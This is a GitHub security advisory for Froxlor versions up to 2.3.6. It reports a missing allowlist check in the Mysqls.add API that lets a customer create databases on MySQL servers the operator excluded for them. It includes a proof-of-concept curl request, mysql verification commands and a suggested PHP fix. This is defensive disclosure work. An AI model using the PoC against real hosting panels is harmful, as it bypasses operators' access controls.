GHSA-q4rm-m6xh-5pv7: Froxlor/froxlor Froxlor Customer Can Create MySQL Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q4rm-m6xh-5pv7",
  "modified" : "2026-07-02T19:23:49Z",
  "published" : "2026-07-02T19:23:49Z",
  "aliases" : [ ],
  "summary" : "Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API",
  "details" : "## Summary\n\nThe `Mysqls.add` API command (`lib/Froxlor/Api/Commands/Mysqls.php`) accepts a customer-controlled `mysql_server` parameter and only validates that the value is numeric and that the server index exists in `userdata.inc.php`. It never checks the value against the calling customer's `allowed_mysqlserver` allowlist. A customer can therefore create a database, plus a MySQL user with a password they choose, on any MySQL server the operator has configured — including servers that were explicitly excluded from that customer (e.g. a separate cluster, premium-tier host, or another tenant pool). The same `allowed_mysqlserver` check is correctly enforced in `MysqlServer::get()` / `MysqlServer::listing()` and in the customer-facing UI (`customer_mysql.php`), confirming the omission is a bug, not by-design.\n\n## Details\n\n**Vulnerable code path** — `lib/Froxlor/Api/Commands/Mysqls.php:69-99` (`add()`):\n\n```php\npublic function add()\n{\n    if (($this->getUserDetail('mysqls_used') < $this->getUserDetail('mysqls') || ...) {\n        ...\n        $customer = $this->getCustomerData('mysqls');                       // line 80\n        $dbserver = $this->getParam('mysql_server', true,                    // line 81 — user-controlled\n            $this->getDefaultMySqlServer($customer));\n        ...\n        $dbserver = Validate::validate($dbserver, ..., '/^[0-9]+$/', ...);   // line 92 — numeric only\n        Database::needRoot(true, $dbserver, false);                          // line 93 — root ctx for ANY index\n        Database::needSqlData();\n        $sql_root = Database::getSqlData();\n        Database::needRoot(false);\n        if (!is_array($sql_root)) {                                          // line 97 — only existence check\n            throw new Exception(\"Database server with index #\" . $dbserver . \" is unknown\", 404);\n        }\n        ...\n        $username = $dbm->createDatabase($newdb_params['loginname'], $password,\n            $dbserver, ...);                                                 // line 116/118 — DB+user created\n        ...\n        Database::pexecute($stmt, [\"customerid\"=>$customer['customerid'], ..., \"dbserver\"=>$dbserver], ...);\n    }\n}\n```\n\nThe `$customer['allowed_mysqlserver']` field IS read on line 80 but is only consumed by `getDefaultMySqlServer()` (lines 566-573) to compute a default when the request omits `mysql_server`. As soon as the client supplies the parameter, the default path is skipped and no further authorization gate runs.\n\n**Cross-file evidence the check is intended elsewhere:**\n\n- `lib/Froxlor/Api/Commands/MysqlServer.php:319-323` — `get()` rejects with HTTP 405 when `$dbserver` is not in `allowed_mysqlserver`:\n  ```php\n  if ($this->isAdmin() == false) {\n      $allowed_mysqls = json_decode($this->getUserDetail('allowed_mysqlserver'), true);\n      if ($allowed_mysqls === false || empty($allowed_mysqls) || !in_array($dbserver, $allowed_mysqls)) {\n          throw new Exception(\"You cannot access this resource\", 405);\n      }\n      ...\n  }\n  ```\n- `lib/Froxlor/Api/Commands/MysqlServer.php:252-257` — same allowlist filter on `listing()`.\n- `customer_mysql.php:222` — UI rejects with `Response::dynamicError('No permission')` when `empty($allowed_mysqlservers)`.\n\n**Chain of execution (attacker → impact):**\n\n1. Customer authenticates to `api.php` with apikey/secret. The only API gate is `cust_api_allowed`; `allowed_mysqlserver` is not consulted at auth time.\n2. Customer sends JSON `{\"command\":\"Mysqls.add\",\"params\":{\"mysql_password\":\"<valid>\",\"mysql_server\":<disallowed_idx>}}`.\n3. `Mysqls.php:71` quota check passes (`mysqls_used < mysqls`).\n4. `Mysqls.php:80` `getCustomerData('mysqls')` returns the caller's own row.\n5. `Mysqls.php:81` `$dbserver` is set from the request (default-fallback path skipped).\n6. `Mysqls.php:92` numeric regex passes.\n7. `Mysqls.php:93-99` `Database::needRoot(true, $dbserver, false)` switches to the root context of the attacker-chosen server; existence check passes.\n8. `Mysqls.php:116/118` `DbManager::createDatabase(...)` runs against the disallowed server using stored root credentials, creating the DB and granting the supplied password to `<loginname>_<sqlN>` (DbManager.php:177-218).\n9. `Mysqls.php:127-141` inserts a row into `TABLE_PANEL_DATABASES` with the attacker's `customerid` and the disallowed `dbserver`, allowing later management via `Mysqls.get/update/delete` (which only filter by `customerid` for non-admins, e.g. `Mysqls.php:282`).\n\n## PoC\n\nPreconditions on the target instance:\n- ≥2 MySQL servers configured in `lib/userdata.inc.php` (e.g. index 0 default, index 1 internal/premium).\n- Customer X with `allowed_mysqlserver=[0]`, `cust_api_allowed=1`, `mysqls > 0`, and an issued API key (`apikey:secret`).\n\nRequest — customer creates a database on server `1`, which is *not* in their allowlist:\n\n```bash\ncurl -k -u 'CUST_APIKEY:CUST_SECRET' \\\n  -H 'Content-Type: application/json' \\\n  -X POST \\\n  -d '{\"command\":\"Mysqls.add\",\"params\":{\"mysql_password\":\"ValidP@ssw0rd!\",\"mysql_server\":1}}' \\\n  https://froxlor.example.com/api.php\n```\n\nExpected (mirroring `MysqlServer.get()` behaviour): `HTTP 405 — \"You cannot access this resource\"`.\nActual: `HTTP 200` with the full database record, e.g.:\n\n```json\n{\"data\":{\"id\":42,\"customerid\":<cust_id>,\"databasename\":\"<loginname>_sql1\",\"dbserver\":1,...}}\n```\n\nVerify the credentials work on the forbidden server:\n\n```bash\nmysql -h server1.host -u <loginname>_sql1 -p   # password: ValidP@ssw0rd!\nmysql> SHOW DATABASES;        # the new DB is present\nmysql> USE <loginname>_sql1;  # full access to the newly-created DB\n```\n\nThe customer can subsequently manage the DB via `Mysqls.get`, `Mysqls.update`, and `Mysqls.delete` — those non-admin code paths filter only by `customerid` (`Mysqls.php:282-289`, `Mysqls.php:380-391`), which matches.\n\n## Impact\n\n- Bypass of the per-customer MySQL-server allowlist (`allowed_mysqlserver`) enforced by the admin/reseller. The authorization model is fully defeated for the `add` operation.\n- The customer obtains valid MySQL credentials on a server the operator explicitly excluded for them — possibly an internal/separate cluster, billing tier, premium-only host, or a server provisioned for a different tenant pool.\n- The customer can persist a DB on the forbidden server (resource and policy bypass), then read/write data there, and continue to manage it through `Mysqls.update` / `Mysqls.delete`.\n- Impact is bounded: privileges granted by `DbManager::grantPrivilegesTo` apply only to the new `<loginname>_sqlN` database, so no cross-tenant data exposure on the forbidden server. The damage is policy bypass, resource consumption on the forbidden server, and credential persistence there.\n\n## Recommended Fix\n\nMirror the allowlist check already present in `MysqlServer::get()`. After the numeric validation on `Mysqls.php:92`, before `Database::needRoot(...)`, add for non-admin callers:\n\n```php\n// validate whether the dbserver exists\n$dbserver = Validate::validate($dbserver, html_entity_decode(lng('mysql.mysql_server')), '/^[0-9]+$/', '', 0, true);\n\n// enforce per-customer allowed_mysqlserver allowlist (parity with MysqlServer::get())\nif (!$this->isAdmin()) {\n    $allowed = json_decode($customer['allowed_mysqlserver'] ?? '[]', true);\n    if (!is_array($allowed) || empty($allowed)\n        || !in_array((int)$dbserver, array_map('intval', $allowed), true)) {\n        throw new Exception('You cannot access this resource', 405);\n    }\n}\n\nDatabase::needRoot(true, $dbserver, false);\n```\n\nAudit `Mysqls::update()`, `Mysqls::delete()`, and `Mysqls::get()` for the same gap: those endpoints accept `mysql_server` and ultimately call `Database::needRoot(true, $result['dbserver'], false)` on the row's stored value. Once the row exists with a forbidden `dbserver`, those paths execute against the forbidden server unchallenged. Consider rejecting any non-admin operation whose target row's `dbserver` is outside `allowed_mysqlserver`, even if the row already exists, to defend in depth.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-q4rm-m6xh-5pv7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-02T19:23:49Z",
    "nvd_published_at" : null
  }
}